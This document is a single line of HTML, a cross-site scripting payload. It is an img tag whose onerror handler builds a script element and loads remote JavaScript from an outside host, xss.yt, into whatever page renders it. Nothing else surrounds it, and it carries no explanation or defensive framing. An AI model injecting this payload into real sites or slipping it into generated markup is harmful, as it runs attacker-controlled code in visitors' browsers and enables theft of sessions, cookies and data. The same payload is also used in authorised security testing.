<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//xss.yt/rITh';>